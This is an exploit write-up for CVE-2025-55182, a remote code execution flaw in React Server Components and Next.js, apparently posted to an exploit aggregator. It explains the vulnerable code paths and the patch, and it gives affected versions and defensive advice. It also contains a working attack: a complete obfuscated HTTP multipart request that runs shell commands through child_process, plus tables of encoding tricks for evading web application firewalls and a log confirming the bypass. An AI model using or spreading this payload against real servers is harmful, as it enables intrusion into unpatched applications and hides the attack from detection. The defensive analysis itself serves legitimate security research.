Share
## https://sploitus.com/exploit?id=2C24E102-D8BF-543F-A58F-F7143FA78436
# CVE-2025-55182 - React Server Components RCE
`NOTE: Written by AI/Claude`
## TL;DR
CVE-2025-55182 is a critical RCE vulnerability in React's Flight Protocol. The attack chains **path traversal** + **fake chunk injection** + **$B handler abuse** to execute `Function(attacker_code)`.
**Big thanks to [maple3142](https://gist.github.com/maple3142) for the working exploitation chain!**
---
## The Exploit
### Attack Overview
The exploit uses three form fields to construct a malicious payload:
1. Creates a **fake chunk object** with self-referential `then` (field 1 `$@0` โ field 0)
2. Embeds a **fake `_response`** with `_formData.get` set to `$1:constructor:constructor`
3. Triggers the **`$B` handler** which calls `response._formData.get(response._prefix + id)`
4. **Path traversal** resolves `_formData.get` โ `Function`, executing `Function(code)`
### Exploitation Flow
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 1. Attacker sends multipart form with fake chunk object โ
โ โ decodeReply() parses form fields 0, 1, 2 โ
โ โ Object has: then, status, value, _response โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 2. Self-reference makes object thenable with real function โ
โ โ then: "$1:__proto__:then" โ Chunk.prototype.then โ
โ โ Chunk.prototype.then(this) calls initializeModelChunk(this) โ
โ โ Uses this._response (attacker's fake _response) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 3. parseModelString() handles "$B1337" reference โ
โ โ case "B": return response._formData.get(response._prefix+id) โ
โ โ Calls _formData.get with attacker's _prefix + "1337" โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โผ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): โ
โ โ "$1:constructor:constructor" traverses prototype chain โ
โ โ Returns Function constructor โ
โ โ Function(code + "1337") โ RCE โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
### Key Components
| Component | Purpose |
|-----------|---------|
| `then: "$1:__proto__:then"` | Self-referential thenable; chunk 1 (`$@0`) points back to chunk 0 |
| `status: "resolved_model"` | Makes object appear as valid React chunk |
| `reason: -1` | Sets rootReference to undefined (avoids reference conflicts) |
| `value: '{"then":"$B1337"}'` | Nested payload that triggers `$B` handler |
| `_response._prefix` | Contains the RCE code string |
| `_response._chunks: "$Q2"` | Empty Map to prevent crashes during chunk processing |
| `_response._formData.get` | Points to `Function` via `$1:constructor:constructor` |
### Component Deep Dive
#### Form Field Structure
The exploit uses three form fields with circular references:
```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" โ references back to field 0
Field 2: [] โ empty array for _chunks Map
```
#### Self-Referential Thenable (`then`)
The `then: "$1:__proto__:then"` creates a self-reference that resolves to a **real function**:
```
$1:__proto__:then
โ
$1 โ chunk 1 โ "$@0" โ getChunk(0) โ Chunk object
โ
Chunk.__proto__.then โ Chunk.prototype.then (actual function!)
```
**Why this is critical:**
1. `then` resolves to `Chunk.prototype.then` - a real callable function
2. This makes the fake object a valid thenable
3. When awaited, JS calls `obj.then(resolve, reject)`
4. `Chunk.prototype.then` executes with fake object as `this`:
```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" โ
case "resolved_model":
initializeModelChunk(this); // fake object passed!
```
5. `initializeModelChunk(this)` uses `this._response` - the attacker's fake `_response`:
```javascript
value = reviveModel(
chunk._response, // โ attacker's fake _response!
...
);
```
**Without the self-reference**, the fake `_response` would never be used. The self-reference makes `Chunk.prototype.then` treat the attacker's object as a real Chunk.
#### Two-Stage Thenable Trigger (`value`)
The `value` field contains a nested JSON string with another thenable:
```json
{"then":"$B1337"}
```
**Stage 1:** Outer object's self-referential `then` triggers chunk processing
**Stage 2:** When React resolves the model, it parses `value` and encounters another thenable with `then: "$B1337"`. The `$B` prefix triggers the handler:
```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
```
`_formData.get` is `"$1:constructor:constructor"` โ `getOutlinedModel()` resolves to `Function`.
This becomes: `Function(code + "1337")` โ valid JS because `1337` is just a trailing expression.
#### Defensive Padding (`_chunks`)
The fake `_response` needs a valid `_chunks` property to prevent crashes:
```
Form field "2": [] โ empty array
_chunks: "$Q2" โ $Q = Map type, creates new Map([])
```
React's internal code may access `response._chunks.get()` or `response._chunks.has()` during processing. An empty Map satisfies these calls without errors, allowing execution to reach the vulnerable `$B` handler.
---
## Vulnerable Code Paths
| Path | Function | Purpose in Exploit |
|------|----------|-------------------|
| Path Traversal | `getOutlinedModel()` | Resolves `$1:constructor:constructor` โ `Function` |
| Fake `_response` Injection | `initializeModelChunk()` | Uses attacker's `chunk._response` |
| `$B` Handler | `parseModelString()` | Calls `_formData.get(_prefix + id)` โ RCE |
`decodeReply()` is the entry point, not vulnerable itself.
**Path Traversal** (`getOutlinedModel()`):
```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
```
**Fake Response Usage** (`initializeModelChunk()`):
```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
```
**$B Handler RCE** (`parseModelString()`):
```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
```
---
## The Fix (19.2.1)
The patch includes multiple fixes:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - Critical fix
```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
```
2. **`hasOwnProperty` check in `getOutlinedModel()`** - Blocks prototype traversal
```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
```
3. **`__proto__` handling in `reviveModel()`** - Prevents prototype pollution
```javascript
void 0 !== parentObj || "__proto__" === i
? (value[i] = parentObj)
: delete value[i];
```
4. **Type check in `initializeModelChunk()`** - Validates listeners
```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
```
---
## Impact & Versions
### Impact Assessment
| Capability | Status | Notes |
|------------|--------|-------|
| Prototype chain traversal | โ Confirmed | Via `$1:constructor:constructor` |
| Access to Function constructor | โ Confirmed | No manifest needed |
| Full RCE | โ **Confirmed** | Via fake chunk + $B handler |
### Affected Versions
- react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
- react-server-dom-turbopack: Same versions
- Next.js: 15.x, 16.x (before patches), canaries from 14.3.0-canary.77+
### Fixed Versions
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+
---
## WAF Evasion
Pattern-matching WAFs can be bypassed using multiple encoding techniques. Understanding these is critical for building effective defenses.
### Encoding Techniques by Layer
The exploit has two distinct layers with different encoding options:
| Layer | Parser | Available Encodings |
|-------|--------|---------------------|
| JSON structure | `JSON.parse()` | `\uXXXX` only |
| RCE code | `Function()` | `\uXXXX`, `\xXX`, octal, `fromCharCode` |
### JSON Structure Encoding (decoded by JSON.parse)
| Pattern | Encoded | WAF Sees | React Sees |
|---------|---------|----------|------------|
| `constructor` | `\u0063onstructor` | `\u0063onstructor` | `constructor` |
| `__proto__` | `\u005f\u005fproto\u005f\u005f` | `\u005f\u005f...` | `__proto__` |
| `status` | `\u0073tatus` | `\u0073tatus` | `status` |
| `resolved_model` | `\u0072esolved_model` | `\u0072esolved...` | `resolved_model` |
| `$@` | `$\u0040` | `$\u0040` | `$@` |
### RCE Code Encoding (decoded by JavaScript Function())
**Method 1: Unicode escapes (`\uXXXX`)**
| Pattern | Encoded | WAF Sees | JS Executes |
|---------|---------|----------|-------------|
| `process` | `\u0070rocess` | `\u0070rocess` | `process` |
| `require` | `\u0072equire` | `\u0072equire` | `require` |
| `child_process` | `\u0063hild_\u0070rocess` | `\u0063hild_...` | `child_process` |
| `execSync` | `\u0065xecSync` | `\u0065xecSync` | `execSync` |
**Method 2: Hex escapes (`\xXX`) - strings only**
| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `whoami` | `\x77\x68\x6f\x61\x6d\x69` | `\x77\x68...` |
| `child_process` | `\x63\x68\x69\x6c\x64_process` | `\x63\x68...` |
**Method 3: String.fromCharCode - maximum obfuscation**
| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `child_process` | `String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115)` | numbers only |
| `whoami` | `String.fromCharCode(119,104,111,97,109,105)` | numbers only |
**Method 4: Bracket notation + fromCharCode for identifiers**
For hiding identifiers like `process`, `mainModule`, `require` - use bracket notation with `this[]`:
| Pattern | Encoded | WAF Sees |
|---------|---------|----------|
| `process` | `this[S(112,114,111,99,101,115,115)]` | numbers only |
| `mainModule` | `[S(109,97,105,110,77,111,100,117,108,101)]` | numbers only |
| `require` | `[S(114,101,113,117,105,114,101)]` | numbers only |
| `execSync` | `[S(101,120,101,99,83,121,110,99)]` | numbers only |
Where `S = String.fromCharCode`. This hides ALL JavaScript identifiers as numeric arrays.
**Method 5: Full unicode encoding of JSON keys**
Every JSON key can be fully unicode-encoded:
| JSON Key | Fully Encoded |
|----------|---------------|
| `then` | `\u0074\u0068\u0065\u006e` |
| `status` | `\u0073\u0074\u0061\u0074\u0075\u0073` |
| `value` | `\u0076\u0061\u006c\u0075\u0065` |
| `_response` | `\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065` |
| `_prefix` | `\u005f\u0070\u0072\u0065\u0066\u0069\u0078` |
| `_chunks` | `\u005f\u0063\u0068\u0075\u006e\u006b\u0073` |
| `_formData` | `\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061` |
| `get` | `\u0067\u0065\u0074` |
Methods 1-4 are the most dangerous as **zero** patterns are visible. Bad!
**Method 6: Base64 encoding with hidden Buffer**
All identifiers become base64 strings - looks like random data to WAFs:
| Pattern | Base64 Encoded | WAF Sees |
|---------|----------------|----------|
| `process` | `cHJvY2Vzcw==` | random string |
| `mainModule` | `bWFpbk1vZHVsZQ==` | random string |
| `require` | `cmVxdWlyZQ==` | random string |
| `child_process` | `Y2hpbGRfcHJvY2Vzcw==` | random string |
| `execSync` | `ZXhlY1N5bmM=` | random string |
| `whoami` | `d2hvYW1p` | random string |
Decoder function (also hidden):
```javascript
var S=String.fromCharCode,B=function(s){
return this[S(66,117,102,102,101,114)][S(102,114,111,109)](s,S(98,97,115,101,54,52))[S(116,111,83,116,114,105,110,103)]()
};
// Usage: this[B('cHJvY2Vzcw==')] โ process
```
This hides `Buffer`, `from`, `base64`, and `toString` as well, making the payload appear as random base64 data.
### Encoded Payload (Maximum Obfuscation)
Uses full `\uXXXX` for ALL JSON keys + bracket notation + `fromCharCode` for **everything**:
```http
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----x
Next-Action: x
------x
Content-Disposition: form-data; name="0"
{"\u0074\u0068\u0065\u006e":"$1:\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f:\u0074\u0068\u0065\u006e","\u0073\u0074\u0061\u0074\u0075\u0073":"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c","\u0072\u0065\u0061\u0073\u006f\u006e":-1,"\u0076\u0061\u006c\u0075\u0065":"{\"\\u0074\\u0068\\u0065\\u006e\":\"$B1337\"}","\u005f\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":{"\u005f\u0070\u0072\u0065\u0066\u0069\u0078":"(function(){var S=String.fromCharCode;this[S(112,114,111,99,101,115,115)][S(109,97,105,110,77,111,100,117,108,101)][S(114,101,113,117,105,114,101)](S(102,115))[S(119,114,105,116,101,70,105,108,101,83,121,110,99)](S(47,116,109,112,47,112,119,110,101,100,46,116,120,116),S(77,65,88,58)+this[S(112,114,111,99,101,115,115)][S(109,97,105,110,77,111,100,117,108,101)][S(114,101,113,117,105,114,101)](S(99,104,105,108,100,95,112,114,111,99,101,115,115))[S(101,120,101,99,83,121,110,99)](S(119,104,111,97,109,105)))})();//","\u005f\u0063\u0068\u0075\u006e\u006b\u0073":"$Q2","\u005f\u0066\u006f\u0072\u006d\u0044\u0061\u0074\u0061":{"\u0067\u0065\u0074":"$1:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"}}}
------x
Content-Disposition: form-data; name="1"
"$\u00400"
------x
Content-Disposition: form-data; name="2"
[]
------x--
```
### Verification
Tested against Next.js 16.0.6 - **13 patterns hidden**:
```
=== WAF Pattern Check ===
constructor: hidden โ \u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072
__proto__: hidden โ \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f
resolved_model: hidden โ \u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064...
status: hidden โ \u0073\u0074\u0061\u0074\u0075\u0073
then: hidden โ \u0074\u0068\u0065\u006e
process: hidden โ S(112,114,111,99,101,115,115)
mainModule: hidden โ S(109,97,105,110,77,111,100,117,108,101)
require: hidden โ S(114,101,113,117,105,114,101)
child_process: hidden โ S(99,104,105,108,100,95,112,114,111,99,101,115,115)
execSync: hidden โ S(101,120,101,99,83,121,110,99)
whoami: hidden โ S(119,104,111,97,109,105)
writeFileSync: hidden โ S(119,114,105,116,101,70,105,108,101,83,121,110,99)
fs: hidden โ S(102,115)
=== RCE Result ===
MAX-OBFUSC:nick
```
**Zero dangerous patterns visible** - All JSON keys fully unicode-encoded + all JS identifiers as numeric charCode arrays. Signature-based WAFs completely bypassed.
### Why It Works
1. WAF scans raw HTTP body bytes โ sees `\u0063onstructor`
2. Server receives multipart form โ passes to React
3. React calls `JSON.parse()` โ decodes `\u0063` to `c`
4. Exploit proceeds with decoded strings โ RCE
**Only `\uXXXX` works for JSON** - JSON spec doesn't support `\xXX` hex or octal escapes.
### Defensive Recommendations
**Signature-based WAF rules are insufficient.** To effectively block this exploit:
1. **Upgrade immediately** - The only reliable fix is patching React/Next.js
- React: 19.0.1+, 19.1.2+, 19.2.1+
- Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+
2. **If you must use WAF rules**, decode before matching:
- Decode `\uXXXX` sequences before pattern matching
- Decode `\xXX` hex escapes
- Normalize `String.fromCharCode()` calls
- Block requests containing `$@`, `$B`, `$Q` references in form data
3. **Structural detection** (more reliable than signatures):
- Block multipart forms with `Next-Action` header containing suspicious JSON structures
- Detect circular references (`$@0` pointing to field 0)
- Flag `_response`, `_prefix`, `_chunks` in form field JSON
4. **Runtime protection**:
- Monitor for `Function()` calls with dynamic arguments
- Sandbox server-side JavaScript execution
- Implement CSP and limit `child_process` access
**Pattern matching alone will fail** - attackers have too many encoding options.
---
## Research Journey
### The Vulnerability: Path Traversal
```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
```
With payload `"$1:constructor:constructor"`:
1. `chunk[1]["constructor"]` โ `[Function: Object]`
2. `Object["constructor"]` โ `[Function: Function]`
### Blocked Paths We Tried
While we obtained `Function`, achieving RCE requires calling it with controlled arguments. These paths failed:
**1. Thenable Path (Blocked)**
```javascript
// Attempt: { then: Function }
// When awaited, V8 calls: Function(resolve, reject)
// resolve.toString() = "function () { [native code] }"
// Result: SyntaxError - invalid parameter name
```
**2. decodeAction Path (Blocked)**
```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
```
**3. Iterator Path (Blocked)**
```javascript
// Function.bind(null, code) needs TWO calls to execute
// React only calls iterator once
// Result: Returns bound function, doesn't execute
```
### The Breakthrough
maple3142 found the missing piece: the `$B` handler + fake `_response` chain. By making `then` resolve to `Chunk.prototype.then` via self-reference, the fake `_response` gets used, enabling RCE.
---
## Key Findings
1. **`getOutlinedModel()` vulnerability is real** - Colon-separated paths allow prototype chain traversal
2. **Function constructor is accessible** - `$1:constructor:constructor` works without serverManifest
3. **RCE is achievable** - By crafting a fake chunk with controlled `_response`:
- Self-reference `$1:__proto__:then` โ `Chunk.prototype.then` makes fake `_response` get used
- Fake chunk structure mimics React's internal Chunk class
- `_response._formData.get` โ `Function` constructor
- `_response._prefix` โ malicious code string
- `$B` handler triggers `Function(malicious_code)`
4. **The fix is comprehensive** - Multiple `hasOwnProperty` checks and type validations
---
## References
- [maple3142's Gist](https://gist.github.com/maple3142) - RCE chain discovery
- [React Security Advisory](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
---
## Disclaimer
This repository is for **educational and defensive security research only**. The vulnerability has been patched. Upgrade your dependencies immediately.